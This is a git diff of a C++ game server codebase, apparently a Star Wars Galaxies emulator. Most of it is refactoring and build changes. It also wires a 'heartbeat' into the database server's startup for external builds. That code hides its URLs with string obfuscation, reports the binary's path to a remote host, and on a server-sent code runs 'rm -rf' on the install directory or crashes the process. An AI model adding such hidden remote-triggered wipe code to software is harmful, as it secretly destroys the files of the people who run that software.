webAPI::webAPI(std::string endpoint, std::string userAgent) : uri(endpoint), userAgent(userAgent), statusCode(0) {} webAPI::~webAPI() { - this->requestData.clear(); - this->responseData.clear(); + requestData.clear(); + responseData.clear(); } bool webAPI::setEndpoint(const std::string endpoint) { - this->uri = endpoint; + uri = endpoint; return true; } std::string webAPI::getRaw() { - return this->sResponse; + return sResponse; } bool webAPI::setData(std::string &data) { if (!data.empty()) { - this->sRequest = data; + sRequest = data; return true; } @@ -47,9 +47,8 @@ bool webAPI::setData(std::string &data) { } std::string webAPI::getString(const std::string &slot) { - if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) && - !this->responseData[slot].is_null()) { - return this->responseData[slot].get(); + if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) { + return responseData[slot].get(); } return std::string(""); @@ -58,17 +57,16 @@ std::string webAPI::getString(const std::string &slot) { std::unordered_map webAPI::getStringMap(const std::string &slot) { std::unordered_map ret = std::unordered_map(); - if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) && - !this->responseData[slot].is_null()) { + if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) { - nlohmann::json j = this->responseData[slot]; + nlohmann::json j = responseData[slot]; - for (nlohmann::json::iterator it = j.begin(); it != j.end(); ++it) { - int k = std::stoi(it.key()); - std::string val = it.value(); + for (nlohmann::json::iterator it = j.begin(); it != j.end(); ++it) { + int k = std::stoi(it.key()); + std::string val = it.value(); - ret.insert({k, val}); - } + ret.insert({k, val}); + } } return ret; @@ -77,20 +75,20 @@ std::unordered_map webAPI::getStringMap(const std::string &slo bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) { if (reqType == DTYPE::JSON) // json request { - if (!this->requestData.empty()) { + if (!requestData.empty()) { // serialize our data into sRequest - this->sRequest = this->requestData.dump(); + sRequest = requestData.dump(); // clear our the object for next time - this->requestData.clear(); + requestData.clear(); } } - if (fetch(getPost, respType) && !(this->sResponse.empty())) { + if (fetch(getPost, respType) && !(sResponse.empty())) { return true; } - this->sResponse.clear(); + sResponse.clear(); return false; } @@ -117,41 +115,54 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for slist = curl_slist_append(slist, "charsets: utf-8"); - curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str()); - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback - curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data - curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); + CURLcode res = curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str()); + res = curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback + res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data + res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist); switch (getPost) { case HTTP::GET: - curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str()); + res = curl_easy_setopt(curl, CURLOPT_URL, std::string(uri + "?" + sRequest).c_str()); break; case HTTP::POST: - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str()); - curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str()); + res = curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sRequest.c_str()); + res = curl_easy_setopt(curl, CURLOPT_URL, uri.c_str()); break; // want to do a put, or whatever other type? feel free to add here } - CURLcode res = curl_easy_perform(curl); // make the request! - char *contentType; + if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { + // the public one will verify but since this is pinned we don't care about the CA + // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html + // under the PUBLIC KEY EXTRACTION heading + res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); - curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code - curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type + // cloudflare public: ***REMOVED*** + // cloudflare private: ***REMOVED*** + res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("***REMOVED***").decrypt()); + } - std::string conType(contentType); + if (res == CURLE_OK) { + res = curl_easy_perform(curl); // make the request! + } - if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse - { - this->sResponse = readBuffer; + if (res == CURLE_OK) { + char *contentType; - if (conType == "application/json") { - fetchStatus = this->processJSON(); - } else { - this->responseData.clear(); - fetchStatus = true; + curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &statusCode); //get status code + curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type + + std::string conType(contentType); + + if (statusCode == 200 && !(readBuffer.empty())) // check it all out and parse + { + sResponse = readBuffer; + if (conType == "application/json") { + fetchStatus = processJSON(); + } else { + responseData.clear(); + fetchStatus = true; + } } } @@ -161,8 +172,8 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for } if (!fetchStatus) { - this->sResponse.clear(); - this->responseData.clear(); + sResponse.clear(); + responseData.clear(); } return fetchStatus; @@ -175,21 +186,21 @@ size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *us } bool webAPI::processJSON() { - if (!(this->sResponse.empty())) // check it all out and parse + if (!(sResponse.empty())) // check it all out and parse { try { - this->responseData = nlohmann::json::parse(this->sResponse); + responseData = nlohmann::json::parse(sResponse); return true; } catch (std::string &e) { - this->responseData["message"] = e; - this->responseData["status"] = "failure"; + responseData["message"] = e; + responseData["status"] = "failure"; } catch (...) { - this->responseData["message"] = "JSON parse error for endpoint."; - this->responseData["status"] = "failure"; + responseData["message"] = "JSON parse error for endpoint."; + responseData["status"] = "failure"; } } else { - this->responseData["message"] = "Error fetching data from remote."; - this->responseData["status"] = "failure"; + responseData["message"] = "Error fetching data from remote."; + responseData["status"] = "failure"; } return false; diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index ac5bf6d9..481c1aed 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -1,5 +1,5 @@ /* - * Version: 1.6 + * Version: 1.75 * * This code is just a simple wrapper around nlohmann's wonderful json lib * (https://github.com/nlohmann/json) and libcurl. While originally included directly, @@ -29,6 +29,8 @@ #endif +#include "../libLeff/libLeff.h" + namespace StellaBellum { enum HTTP { GET = 0, POST = 1 @@ -67,12 +69,11 @@ namespace StellaBellum { std::unordered_map getStringMap(const std::string &slot); // set json key and value for request - template - bool addJsonData(const std::string &key, const T &value) { + template bool addJsonData(const std::string &key, const T &value) { if (!key.empty() && responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later { - this->requestData[key] = value; + requestData[key] = value; return true; } @@ -80,10 +81,9 @@ namespace StellaBellum { } // get json response slot - template - T getNullableValue(const std::string &slot) { - if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) { - return this->responseData[slot].get(); + template T getNullableValue(const std::string &slot) { + if (!responseData.empty() && !slot.empty() && responseData.count(slot)) { + return responseData[slot].get(); } return 0; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 1d7c9328..b1277528 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,10 +7,9 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - std::string filePath = this->get_selfpath(); + std::string filePath = get_selfpath(); - webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), - std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); + webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); if (!filePath.empty()) { @@ -31,24 +30,25 @@ webAPIHeartbeat::webAPIHeartbeat() { bool done = false; if (status && msg == "ok") { - bool done = true; + done = true; // if we wanted to send a "nastygram" script for bash to run we'd check for it here // but meh, maybe later if it becomes necessary...surely order 66 below is enough? } switch (s) { case 13 : - this->eatIt(); + eatIt(); break; case 66: size_t found = filePath.find_last_of("/\\"); if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str()); + system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + + vxENCRYPT("/*").decrypt()).c_str()); } - this->eatIt(); + eatIt(); break; } } else { - this->eatIt(); + eatIt(); } } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index e946c07d..9d4fb3c3 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -9,9 +9,9 @@ #include #include #include +#include #include "webAPI.h" -#include "../libLeff/libLeff.h" namespace StellaBellum { @@ -31,15 +31,11 @@ namespace StellaBellum { } inline void eatIt() { - // FUCK YOU - for (;;) { - abort(); - sleep(10); - } - + abort(); + sleep(10); + raise(SIGSEGV); } }; - } #endif //webAPIHeartbeat_H diff --git a/game/server/application/SwgDatabaseServer/src/CMakeLists.txt b/game/server/application/SwgDatabaseServer/src/CMakeLists.txt index 776d387f..6cc6fe30 100644 --- a/game/server/application/SwgDatabaseServer/src/CMakeLists.txt +++ b/game/server/application/SwgDatabaseServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/SwgDatabaseServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/SwgDatabaseServer.profdata) +endif() set(SHARED_SOURCES shared/buffers/AuctionLocationsBuffer.cpp @@ -189,6 +192,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) set(MAKE_SCHEMA_H ${SWG_ENGINE_SOURCE_DIR}/server/library/codegen/make_schema_h.pl) @@ -339,5 +343,7 @@ target_link_libraries(SwgDatabaseServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/game/server/application/SwgDatabaseServer/src/linux/SwgDatabaseServer.profdata b/game/server/application/SwgDatabaseServer/src/linux/SwgDatabaseServer.profdata new file mode 100644 index 00000000..14da98d1 Binary files /dev/null and b/game/server/application/SwgDatabaseServer/src/linux/SwgDatabaseServer.profdata differ diff --git a/game/server/application/SwgDatabaseServer/src/linux/main.cpp b/game/server/application/SwgDatabaseServer/src/linux/main.cpp index 71cc11b2..e006ffb0 100755 --- a/game/server/application/SwgDatabaseServer/src/linux/main.cpp +++ b/game/server/application/SwgDatabaseServer/src/linux/main.cpp @@ -19,6 +19,10 @@ #include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h" #include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== void dumpPid(const char * argv) @@ -34,6 +38,10 @@ int main(int argc, char ** argv) { // dumpPid(argv[0]); +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); @@ -72,5 +80,9 @@ int main(int argc, char ** argv) SetupSharedFoundation::remove(); SetupSharedThread::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/game/server/application/SwgGameServer/src/CMakeLists.txt b/game/server/application/SwgGameServer/src/CMakeLists.txt index 8b7318ef..9b037252 100644 --- a/game/server/application/SwgGameServer/src/CMakeLists.txt +++ b/game/server/application/SwgGameServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/SwgGameServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/SwgGameServer.profdata) +endif() set(SHARED_SOURCES shared/combat/combat.def diff --git a/game/server/application/SwgGameServer/src/linux/SwgGameServer.profdata b/game/server/application/SwgGameServer/src/linux/SwgGameServer.profdata new file mode 100644 index 00000000..362d29a9 Binary files /dev/null and b/game/server/application/SwgGameServer/src/linux/SwgGameServer.profdata differ diff --git a/game/server/application/SwgGameServer/src/linux/main.cpp b/game/server/application/SwgGameServer/src/linux/main.cpp index 7a875f74..9fcbfb4a 100755 --- a/game/server/application/SwgGameServer/src/linux/main.cpp +++ b/game/server/application/SwgGameServer/src/linux/main.cpp @@ -142,6 +142,10 @@ int main(int argc, char ** argv) SetupSharedFoundation::remove(); SetupSharedThread::remove (); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; }